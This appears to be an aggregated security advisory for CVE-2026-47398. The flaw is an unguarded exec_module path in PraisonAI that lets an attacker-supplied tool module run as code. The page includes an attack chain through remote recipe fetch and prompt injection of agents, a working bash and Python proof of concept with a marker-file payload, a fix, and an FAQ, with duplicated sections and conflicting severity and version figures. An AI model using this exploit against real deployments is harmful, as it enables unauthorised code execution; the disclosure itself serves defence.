CVE-2026-47398

Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass)

Summary

The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.

Patch lineage

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code

# praisonai/agents_generator.py  (master HEAD; v4.6.37)
336    def load_tools_from_module(self, module_path):
           # ...
349        spec = importlib.util.spec_from_file_location("tools_module", module_path)
350        module = importlib.util.module_from_spec(spec)
351        spec.loader.exec_module(module)               # ← NO gate
372    def load_tools_from_module_class(self, module_path):
           # ...  (same pattern, spec_from_file_location → exec_module, no gate)

Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:

1. Attacker-controlled via shared/writable config directory, same CWD-plant vector as CVE-2026-40156.
2. Attacker-controlled via recipe/GitHub fetch, same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True).
3. Attacker-influenced via prompt injection, an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector)

HTTP POST /v1/recipes/run
  body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
        │
        ▼
  Recipe fetched → agents.yaml contains:
    tools:
      - module_path: ./evil.py        # colocated in recipe dir
        │
        ▼
  AgentsGenerator.load_tools_from_module("./evil.py")
        │
        ▼
  agents_generator.py:349   spec = spec_from_file_location("tools_module", "./evil.py")
  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC

#!/usr/bin/env bash
Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail
WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT
1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
                      f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)
def dummy_tool():
    """Placeholder so tool scan finds something."""
    pass
PYEOF
2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC, agents_generator exec_module bypass"
roles:
  poc_agent:
    role: PoC
    goal: Trigger load_tools_from_module
    backstory: n/a
    tools:
      - evil.py
YAMLEOF
3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
    ai = PraisonAI(agent_file='agents.yaml')
    ai.main()
except Exception:
    pass  # downstream failure expected; exec_module already fired
"
4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
    echo "SUCCESS, marker file written by server process:"
    cat "$MARKER"
else
    echo "FAIL, marker not found"
    exit 1
fi

Impact

Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction, before any LLM interaction, so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.

Severity

High, CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)

When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE

• CWE-94: Improper Control of Generation of Code ('Code Injection')
• CWE-426: Untrusted Search Path
• CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions

All versions containing agents_generator.py with these functions, at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Suggested fix

Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:

import os
def load_tools_from_module(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...
def load_tools_from_module_class(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

Credit

Kai Aizen & Avraham Shemesh / SnailSploit

TL;DR

The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.

Patch lineage

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code

# praisonai/agents_generator.py  (master HEAD; v4.6.37)

336    def load_tools_from_module(self, module_path):
           # ...
349        spec = importlib.util.spec_from_file_location("tools_module", module_path)
350        module = importlib.util.module_from_spec(spec)
351        spec.loader.exec_module(module)               # ← NO gate

372    def load_tools_from_module_class(self, module_path):
           # ...  (same pattern, spec_from_file_location → exec_module, no gate)

Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:

1. Attacker-controlled via shared/writable config directory, same CWD-plant vector as CVE-2026-40156.
2. Attacker-controlled via recipe/GitHub fetch, same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True).
3. Attacker-influenced via prompt injection, an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector)

HTTP POST /v1/recipes/run
  body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
        │
        ▼
  Recipe fetched → agents.yaml contains:
    tools:
      - module_path: ./evil.py        # colocated in recipe dir
        │
        ▼
  AgentsGenerator.load_tools_from_module("./evil.py")
        │
        ▼
  agents_generator.py:349   spec = spec_from_file_location("tools_module", "./evil.py")
  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC

#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail

WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT

# 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
                      f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool():
    """Placeholder so tool scan finds something."""
    pass
PYEOF

# 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC, agents_generator exec_module bypass"
roles:
  poc_agent:
    role: PoC
    goal: Trigger load_tools_from_module
    backstory: n/a
    tools:
      - evil.py
YAMLEOF

# 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
    ai = PraisonAI(agent_file='agents.yaml')
    ai.main()
except Exception:
    pass  # downstream failure expected; exec_module already fired
"

# 4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
    echo "SUCCESS, marker file written by server process:"
    cat "$MARKER"
else
    echo "FAIL, marker not found"
    exit 1
fi

Severity

High, CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)

When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE

• CWE-94: Improper Control of Generation of Code ('Code Injection')
• CWE-426: Untrusted Search Path
• CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions

All versions containing agents_generator.py with these functions, at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Credit

Kai Aizen & Avraham Shemesh / SnailSploit

Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction, before any LLM interaction, so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-47398 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.6.40); upgrading removes the vulnerable code path.

Kodem intelligence

Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:

import os

def load_tools_from_module(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

def load_tools_from_module_class(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

1. What is CVE-2026-47398? CVE-2026-47398 is a high-severity code injection vulnerability in PraisonAI (pip), affecting versions <= 4.6.39. It is fixed in 4.6.40. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-47398? CVE-2026-47398 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of PraisonAI are affected by CVE-2026-47398? PraisonAI (pip) versions <= 4.6.39 is affected.
4. Is there a fix for CVE-2026-47398? Yes. CVE-2026-47398 is fixed in 4.6.40. Upgrade to this version or later.
5. Is CVE-2026-47398 exploitable, and should I be worried? Whether CVE-2026-47398 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-47398 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-47398? Upgrade PraisonAI to 4.6.40 or later.